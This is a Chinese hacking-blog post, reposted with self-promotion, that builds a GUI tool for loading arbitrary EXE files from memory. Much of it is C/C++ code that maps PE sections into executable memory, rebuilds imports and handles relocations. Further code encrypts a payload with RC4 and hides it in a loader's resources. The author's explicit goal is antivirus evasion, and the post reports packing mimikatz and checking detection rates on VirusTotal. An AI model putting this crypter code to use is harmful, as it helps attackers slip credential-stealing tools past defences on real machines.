公粽号:黒掌
一个专注于分享网络安全、黑客圈热点、黑客工具技术区博主!

PE文件

PE文件简述

PE文件的全称是Portable Executable,意为可移植的可执行的文件,常见的EXE、DLL、OCX、SYS、COM都是PE文件,PE文件是微软Windows操作系统上的程序文件(可能是间接被执行,如DLL),这篇文章主要讲对EXE文件进行内存加载并运行的方法,代码实现,和完成一个GUI加载器工具的全过程。

文件结构

由上图可以

  1. Dos Header

    是用来兼容MS-DOS操作系统的,目的是当这个文件在MS-DOS上运行时提示一段文字,大部分情况下是:This program cannot be run in DOS mode. 还有一个目的,就是指明NT头在文件中的位置。

  2. NT Header

    包含windows PE文件的主要信息,其中包括一个‘PE’字样的签名,PE文件头(IMAGE_FILE_HEADER)和PE可选头(IMAGE_OPTIONAL_HEADER32)。

  3. Section Table

    是PE文件后续节的描述,windows根据节表的描述加载每个节。

  4. Section

    每个节实际上是一个容器,可以包含代码、数据等等,每个节可以有独立的内存权限,比如代码节默认有读/执行权限,节的名字和数量可以自己定义。

无论PE文件在磁盘中还是在内存中,都少不了地址的概念,理解以下几个概念很重要。

  • 虚拟地址(Virtual Address): 在一个程序运行起来的时候,会被加载到内存中,并且每个进程都有自己的4GB,这个4GB当中的某个位置叫做虚拟地址,由物理地址映射过来的,4GB的空间并没有全部被用到。
  • 基地址(Image Base):磁盘中的文件加载到内存当中的时候可以加载到任意位置,而这个位置就是程序的基址。EXE默认的加载基址是400000h,DLL文件默认基址是10000000h。需要注意的是基地址不是程序的入口点。
  • 相对虚拟地址(Relative Virtual Address):为了避免PE文件中有确定的内存地址,引入了相对虚拟地址的概念。RVA是在内存中相对与载入地址(基地址)的偏移量,所以你可以发现前三个概念的关系:虚拟地址 = 基地址 + 相对虚拟地址
  • 文件偏移地址(FOA):当PE文件储存在某个磁盘当中的时候,某个数据的位置相对于文件头的偏移量。
  • 入口点(OEP):首先明确一个概念就是OEP是一个相对虚拟地址(Relative Virtual Address),然后使用OEP + Image Base ==入口点的虚拟地址(Virtual Address),通常情况下,OEP指向的程序真实的入口点,而不是main函数。

执行流程

这里有大佬做的windows执行PE文件全流程图,下面是地址:

https://github.com/corkami/pics/blob/master/binary/pe101/pe101l.png

大概流程如下:

  1. 加载PE文件:判断是否为PE文件,然后将要加载的文件读取到内存中,并且对齐。
  2. 进行重定位:如果当前加载到内存当中的基址与Option Header的Image Base一样,即在理想基址中展开了,或重定位表data[5]的长度为0,则不需要重定位。重定位表的sizeOfBlock是加上块头部8字节的大小。重定位元素也很简单,以WORD为单位,但要注意高4位为0x3才有效,修复重定位表时要检查该位是否有效。
  3. 构建导入表:通过偏移+内存基址,获取导入表第一个dll的数据,按照导入的dll逐个遍历,直到当前导入表的OriginalFirstThunk为0,即遍历完毕。

PE加载器

PE加载器,就是将一个PE文件映射到自己的内存,然后启动其main函数运行程序。一个PELoader的实现,需要有几个注意点:内存对齐,修复IAT表,修复重定位表,将内存属性改为可执行。

内存对齐

根据exe文件在加载到内存中对齐粒度进行对齐

LPVOID MapImageToMemory(LPVOID base_addr)
{LPVOID mem_image_base = NULL;PIMAGE_DOS_HEADER raw_image_base = (PIMAGE_DOS_HEADER)base_addr;FuVirtualAlloc MyVirtualAlloc = (FuVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");if (IMAGE_DOS_SIGNATURE != raw_image_base->e_magic){return NULL;}PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(raw_image_base->e_lfanew + (UINT_PTR)raw_image_base);if (IMAGE_NT_SIGNATURE != nt_header->Signature){return NULL;}if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress){return NULL;}PIMAGE_SECTION_HEADER section_header = (PIMAGE_SECTION_HEADER)(raw_image_base->e_lfanew + sizeof(*nt_header) + (UINT_PTR)raw_image_base);mem_image_base = MyVirtualAlloc((LPVOID)(nt_header->OptionalHeader.ImageBase), nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (NULL == mem_image_base){mem_image_base = MyVirtualAlloc(NULL, nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);}if (NULL == mem_image_base){return NULL;}memcpy(mem_image_base, (LPVOID)raw_image_base, nt_header->OptionalHeader.SizeOfHeaders);for (int i = 0; i < nt_header->FileHeader.NumberOfSections; i++){memcpy((LPVOID)(section_header->VirtualAddress + (UINT_PTR)mem_image_base), (LPVOID)(section_header->PointerToRawData + (UINT_PTR)raw_image_base), section_header->SizeOfRawData);section_header++;}return mem_image_base;
}

修复IAT表

根据PE结构的导入表,加载所需的dll,并获取导入函数的地址并写入导入表中

VOID FixImageIAT(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header)
{DWORD op;DWORD iat_rva;SIZE_T iat_size;HMODULE import_base;PIMAGE_THUNK_DATA thunk;PIMAGE_THUNK_DATA fixup;PIMAGE_IMPORT_DESCRIPTOR import_table = (PIMAGE_IMPORT_DESCRIPTOR)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + (UINT_PTR)dos_header);DWORD iat_loc = (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress) ? IMAGE_DIRECTORY_ENTRY_IAT : IMAGE_DIRECTORY_ENTRY_IMPORT;iat_rva = nt_header->OptionalHeader.DataDirectory[iat_loc].VirtualAddress;iat_size = nt_header->OptionalHeader.DataDirectory[iat_loc].Size;LPVOID iat = (LPVOID)(iat_rva + (UINT_PTR)dos_header);FuVirtualProtect myVirtualProtect = (FuVirtualProtect)GetProcAddress(hKernel32, "VirtualProtect");FuLoadLibraryA myLoadLibraryA = (FuLoadLibraryA)GetProcAddress(hKernel32, "LoadLibraryA");myVirtualProtect(iat, iat_size, PAGE_READWRITE, &op);while (import_table->Name){import_base = myLoadLibraryA((LPCSTR)(import_table->Name + (UINT_PTR)dos_header));fixup = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header);if (import_table->OriginalFirstThunk){thunk = (PIMAGE_THUNK_DATA)(import_table->OriginalFirstThunk + (UINT_PTR)dos_header);}else{thunk = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header);}while (thunk->u1.Function){PCHAR func_name;if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64){fixup->u1.Function = (UINT_PTR)GetProcAddress(import_base, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));}else{func_name = (PCHAR)(((PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData))->Name + (UINT_PTR)dos_header);fixup->u1.Function = (UINT_PTR)GetProcAddress(import_base, func_name);}fixup++;thunk++;}import_table++;}return;}

修复重定位表

直接申请当前exe的ImageBase地址,如果加载到内存当中的基址与Option Header的Image Base一样,就相当于在理想基址中展开,不需要修复重定位表。但是这种方法一般用于x64的程序,因为x86程序的Image Base较低,被占用导致无法正常执行的几率很高。

mem_image_base = MyVirtualAlloc((LPVOID)(nt_header->OptionalHeader.ImageBase), nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (NULL == mem_image_base)
{mem_image_base = MyVirtualAlloc(NULL, nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}

判断C#程序

可以通过DataDirectory的第15项,IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR中VirtualAddress是否为空,来判断是否为C#程序,如果是C#程序,程序使用了Donut项目将C#程序转换为shellcode,Donut是一个shellcode生成工具,它可以从.NET程序集中创建与位置无关的shellcode payloads。此shellcode可用于将程序集注入任意Windows进程。给定一个任意.NET程序集,参数和入口点(如Program.Main),Donut就可为我们生成一个与位置无关的shellcode,并从内存加载它。项目地址如下:

https://github.com/TheWover/donut

判断是否为PE程序,并且判断程序位数以及是否为C#程序:

int CMFCLoaderDlg::checkBit(TCHAR* filePath,int& BIT,int& TYPE)
{IMAGE_DOS_HEADER myDosHeader;IMAGE_NT_HEADERS myNTHeader;IMAGE_NT_HEADERS64 myNTHeader64;LONG e_lfanew;errno_t err;FILE* pfile = NULL;if ((err = _wfopen_s(&pfile, filePath, L"rb")) != 0){MessageBox(_T("File open error!"), NULL, MB_ICONERROR);return 0;}fread(&myDosHeader, 1, sizeof(IMAGE_DOS_HEADER), pfile);if (myDosHeader.e_magic != 0x5A4D){MessageBox(_T("Not a PE file!"), NULL, MB_ICONERROR);fclose(pfile);return 0;}e_lfanew = myDosHeader.e_lfanew;fseek(pfile, e_lfanew, SEEK_SET);fread(&myNTHeader, 1, sizeof(IMAGE_NT_HEADERS), pfile);switch (myNTHeader.FileHeader.Machine){case 0x014c:{BIT = 32;if (myNTHeader.OptionalHeader.DataDirectory[0x0e].VirtualAddress){TYPE = 1;}break;}case 0x8664:{BIT = 64;fseek(pfile, e_lfanew, SEEK_SET);fread(&myNTHeader64, 1, sizeof(IMAGE_NT_HEADERS64), pfile);if (myNTHeader64.OptionalHeader.DataDirectory[0x0e].VirtualAddress){TYPE = 1;}break;}default:break;}return 0;}

程序加密

使用了R.C.4加密算法,将要加载的PE文件加密并存放在资源段中,这种方法其实免杀效果并不好,接下来可以考虑其他将Loader和payload分离的其他方法。

int commanMake(TCHAR* filePath, TCHAR* outfilePath, int BIT)
{TCHAR* DATfilename;if (BIT == 32){DATfilename = L"x32PEloader.DAT";}else if (BIT == 64){DATfilename = L"x64PEloader.DAT";}else{return 0;}HANDLE hPE = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hPE == INVALID_HANDLE_VALUE){wprintf(L"[!]  Unable to Open FIle %s\n", filePath);CloseHandle(hPE);return 0;}unsigned char* key = GeneratePassword(128);int peSize = GetFileSize(hPE, NULL);PBYTE shellcode = (PBYTE)malloc(peSize + StreamKeyLenth);if (shellcode == NULL){return 0;}memcpy(shellcode, key, StreamKeyLenth);DWORD lpNumberOfBytesRead;PWCHAR fileName = outfilePath;int ret = ReadFile(hPE, shellcode + StreamKeyLenth, peSize, &lpNumberOfBytesRead, NULL);if (ret == 0){return 0;}StreamCrypt(shellcode + StreamKeyLenth, peSize, key, StreamKeyLenth);if (CopyFile(DATfilename, fileName, FALSE) == 0){wprintf(L"[!]  Unable to Open FIle PEloader.DAT\n");return 0;}HANDLE  hResource = BeginUpdateResource(fileName, FALSE);if (NULL != hResource){if (UpdateResource(hResource, RT_RCDATA, MAKEINTRESOURCE(404), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID)shellcode, peSize + sizeof(key)) != FALSE){EndUpdateResource(hResource, FALSE);wprintf(L"[+]  Successfully generated %s\n", fileName);}}free(shellcode);CloseHandle(hPE);return 1;}

成品效果

对x64的mimikatz进行加载器生成,功能正常。

上传VT结果,免杀效果还凑活,需要继续改进。稍后相关代码及工具上传至知识星球。

参考文章和项目

https://blog.csdn.net/kclax/article/details/93727011

https://bbs.pediy.com/thread-249133.htm

https://github.com/TheWover/donut

https://www.cnblogs.com/onetrainee/p/12938085.html

来源:freebuf.com

作者:宽字节


今天的分享就到这里,喜欢的小伙伴记得一键三连,我有一个公粽号【黒掌】, 可以免费获取更多黑客秘籍,欢迎来耍!

厉害!免杀任意EXE相关推荐

  1. exe免杀宝典 #exe免杀 #Python打包exe

    exe免杀毒教程 目录 exe免杀毒教程 引子 准备和配置 方法 引子 上次我不是做了个打包exe文件的教程吗(没看点这里),结果装360的时候出了点状况,文件GG了 我太难了 于是我突发奇想,绞尽脑 ...

  2. 远控免杀专题(22)-SpookFlare免杀

    转载:https://mp.weixin.qq.com/s/LfuQ2XuD7YHUWJqMRUmNVA 免杀能力一览表 几点说明: 1.上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了By ...

  3. 狼组安全平台免杀使用指南

    前言 图片 注:理论来说无论是cs还是msf生成的shellcode都可以进行免杀,不过再处理时是以cs为基准对shellcode进行处理的,不保证msf的shellcode也可以免杀后正确执行 关于 ...

  4. 新鲜的免杀工具 GoBP

    GoBP 最近在收集免杀的项目,以便届时可以应对突发情况,翻到了这么一个项目GoBP外国佬写的 亲测可过 windows defender 卡巴 360 火绒 腾讯电脑管家 使用方法 把payload ...

  5. Flash钓鱼->CS上线(免杀过火绒、360等)

    先看结果 访问钓鱼页面: 点击立即升级即把马儿下载下来了 这个马儿是rar压缩的,做成的rar解压自启动,所以是个exe的文件,然后这里为了像一点,把图标给改了 双击运行,查看效果: 首先CS是没东西 ...

  6. pyinstaller打包exe免杀和逆向浅析

    微信公众号:乌鸦安全 扫取二维码获取更多信息! 本文首发于先知,免杀跨度时间长.全文:11720字,110图,阅读时间预计:30分钟. https://xz.aliyun.com/t/10450 01 ...

  7. python打包的exe如何免杀_通过Python实现Payload分离免杀过程详解

    缺点: 编译成exe以后体积过大 实现: msf生成shellcode代码: 将payload给copy下来,去除引号. \x2f\x4f\x69\x43\x41\x41\x41\x41\x59\x4 ...

  8. Metasploit+python生成免杀exe过360杀毒

    Metasploit+python生成免杀exe过360杀毒 1在kali下生成一个反弹的msf的python脚本,命令如下: msfvenom -p windows/meterpreter/reve ...

  9. 任意组合指令达到免杀

    注:编写花指令,可参考以下成双指令,可任意自由组合.达到免杀效果. push ebp pop ebp push eax pop eax push esp pop esp push 0 push 0 p ...

最新文章

  1. 2014年 12月15日 多线程编程
  2. 对象在JVM中的表示: OOP-Klass模型
  3. 网工协议基础(4)TCP/UDP协议
  4. elasticsearch rest api操作
  5. eclipse新建服务器项目,使用eclipse快速新建spirngboot项目的方法
  6. http请求头中包含未编码中文时webapi self host崩溃
  7. php自定义类生成lib,thinkphp引入自定义封装类
  8. 20.变量及数据类型
  9. 小D课堂-SpringBoot 2.x微信支付在线教育网站项目实战_4-1.单机和分布式应用的登录检验讲解...
  10. codeblocks下载安装与解决codeblocks找不到编译器的方法
  11. AForge.net获取摄像头
  12. 高一计算机知识点第一章,第一章计算机基础知识知识点总结
  13. 一线外包员工的生活经历
  14. CRM项目半途而废 “烂摊子”该如何收拾?
  15. 第五 python中格式化输入input()函数的使用
  16. Scrapy框架整合英雄缩略图(APP)
  17. macbookpro 序列号查询 香港苹果官网
  18. String字符串分割的3种方法 Java
  19. requests+bs4批量爬取反爬虫图片网站
  20. [解密] DNA存储技术究竟牛在哪里?

热门文章

  1. I2C协议详解 (Based Philips I2C spec)
  2. 李子的猜数游戏!!!!!epsilon1.0!
  3. 利用ArcGIS制作圈层分布图(以某一点作为中心)
  4. 数学与计算机科学学院翻译,学院与专业英语翻译
  5. 项目管理中如何做好相关方(干系人)管理?
  6. 做模具设计的,为什么那么多人要用UG
  7. MacOS安装Homebrew与Oh-My-Zsh
  8. CADS Config
  9. 2022年中国天然橡胶产业链全景图谱及行业上中下游市场剖析
  10. 探索拼多多底层逻辑,教你走出运营误区